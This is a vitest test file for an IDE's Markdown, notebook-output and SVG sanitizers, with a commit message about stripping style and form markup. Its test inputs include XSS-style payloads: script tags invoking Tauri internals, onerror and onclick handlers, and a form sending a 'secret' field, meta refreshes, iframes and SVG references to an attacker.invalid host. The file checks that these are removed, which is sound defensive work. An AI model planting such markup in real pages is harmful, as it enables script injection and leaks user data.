Files
openidea/src/features/notebook/security.test.ts
T
ntbang0901 d0910d3313 fix(markdown): drop raw style and form markup from rendered Markdown (#1320)
Markdown from comments, hovers, agent replies and files renders into the IDE's own document, so a raw <style> restyled the whole IDE and <form> / style= reached the page. Every Markdown sanitizer (LSP hovers and comments, agent messages, Markdown preview) now forbids <style>, <form> and the style attribute; agent messages also drop data-* written in a reply, since their click handlers trust data-copy / data-path. align, width and <details> stay.

Closes #1319

Co-authored-by: ntbang0901 <[email protected]>
2026-11-05 00:49:11 +08:00

85 lines
5.1 KiB
TypeScript

import { describe, expect, it } from "vitest";
import { markdownRoot, resolveMarkdownAttachments, sanitizedSvgUrl, staticOutputDocument } from "./security";
const parse = (html: string) => new DOMParser().parseFromString(html, "text/html");
describe("static notebook output sanitization", () => {
it.each([
"<style>body{outline:7px solid red}</style>",
'<form action="https://example.com/x"><button>go</button></form>',
'<div style="position:fixed">x</div>',
'<link rel="stylesheet" href="https://example.com/x.css">',
'<meta http-equiv="refresh" content="0;url=https://example.com">',
'<base href="https://example.com/">',
'<iframe src="https://example.com"></iframe>',
'<button formaction="https://example.com/x">go</button>',
])("keeps raw Markdown markup from reaching the page: %s", (raw) => {
const root = markdownRoot(`text\n\n${raw}\n`);
expect(root.querySelector("style, form, link, meta, base, iframe, [style], [formaction]")).toBeNull();
expect(root.textContent).not.toContain("outline");
});
it("retains table content while removing executable, navigation and external-resource surfaces", () => {
const document = parse(
staticOutputDocument(`
<meta http-equiv="refresh" content="0;url=https://attacker.invalid">
<base href="https://attacker.invalid"><script>window.__TAURI_INTERNALS__.invoke('x')</script>
<form action="https://attacker.invalid"><input name="secret"><button>submit</button></form>
<iframe src="https://attacker.invalid"></iframe><object data="https://attacker.invalid"></object>
<a href="https://attacker.invalid" target="_top" ping="https://attacker.invalid">link</a>
<img src="https://attacker.invalid/a.png" srcset="https://attacker.invalid/b.png 2x" onerror="alert(1)">
<div style="background-image:image-set('https://attacker.invalid/x')">safe text</div>
<table><thead><tr><th>name</th><th>value</th></tr></thead><tbody><tr><td>alpha</td><td>42</td></tr></tbody></table>
`),
);
expect(document.querySelector("tbody tr")?.textContent).toBe("alpha42");
expect(document.querySelector("script,base,form,input,button,iframe,object")).toBeNull();
expect(document.querySelector("meta[http-equiv=refresh]")).toBeNull();
expect(document.querySelector("[href],[target],[srcset],[onerror],[ping]")).toBeNull();
expect(document.querySelector("img")?.hasAttribute("src")).toBe(false);
expect(document.querySelector("body div")?.hasAttribute("style")).toBe(false);
});
it("retains safe SVG chart paint, local definitions and raster images but removes active/external SVG", () => {
const url = sanitizedSvgUrl(`<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">
<script>alert(1)</script><foreignObject><div>host markup</div></foreignObject>
<defs><linearGradient id="paint"><stop offset="0" stop-color="red"/></linearGradient></defs>
<path id="chart" d="M0 0L10 10" style="fill:none;stroke:#123456;stroke-width:2" onclick="alert(1)"/>
<rect fill="url(#paint)" width="10" height="10"/>
<use id="local-marker" href="#chart"/>
<use href="https://attacker.invalid/a.svg#x"/><image href=""/>
<path id="external" fill="url(https://attacker.invalid/paint)"/>
<animate attributeName="href" to="https://attacker.invalid"/>
</svg>`);
const xml = decodeURIComponent(url.slice(url.indexOf(",") + 1));
const document = new DOMParser().parseFromString(xml, "image/svg+xml");
expect(document.querySelector("script,foreignObject,animate,style")).toBeNull();
expect(document.querySelector('[href^="https:"],[href^="http:"]')).toBeNull();
expect(document.querySelector("#chart")?.getAttribute("stroke")).toBe("#123456");
expect(document.querySelector("#chart")?.getAttribute("fill")).toBe("none");
expect(document.querySelector("rect")?.getAttribute("fill")).toBe("url(#paint)");
expect(document.querySelector("#local-marker")?.getAttribute("href")).toBe("#chart");
expect(document.querySelector("#external")?.hasAttribute("fill")).toBe(false);
expect(document.querySelector("image")?.getAttribute("href")).toBe("");
expect(document.querySelector("[onclick],[style]")).toBeNull();
});
it("resolves only embedded image attachments and makes Markdown file links editor-controlled", () => {
const root = resolveMarkdownAttachments(
markdownRoot(
`![chart](attachment:chart.png)\n\n![remote](https://attacker.invalid/a.png)\n\n[local](./other.py#L8)\n\n<script>alert(1)</script><div style="position:fixed">text</div>`,
),
{
"chart.png": { "image/png": "aGVsbG8=" },
},
);
const images = root.querySelectorAll("img");
expect(images[0]?.getAttribute("src")).toBe("");
expect(images[1]?.hasAttribute("src")).toBe(false);
const link = root.querySelector("a");
expect(link?.hasAttribute("href")).toBe(false);
expect(link?.getAttribute("data-notebook-href")).toBe("./other.py#L8");
expect(root.querySelector("script,[style]")).toBeNull();
});
});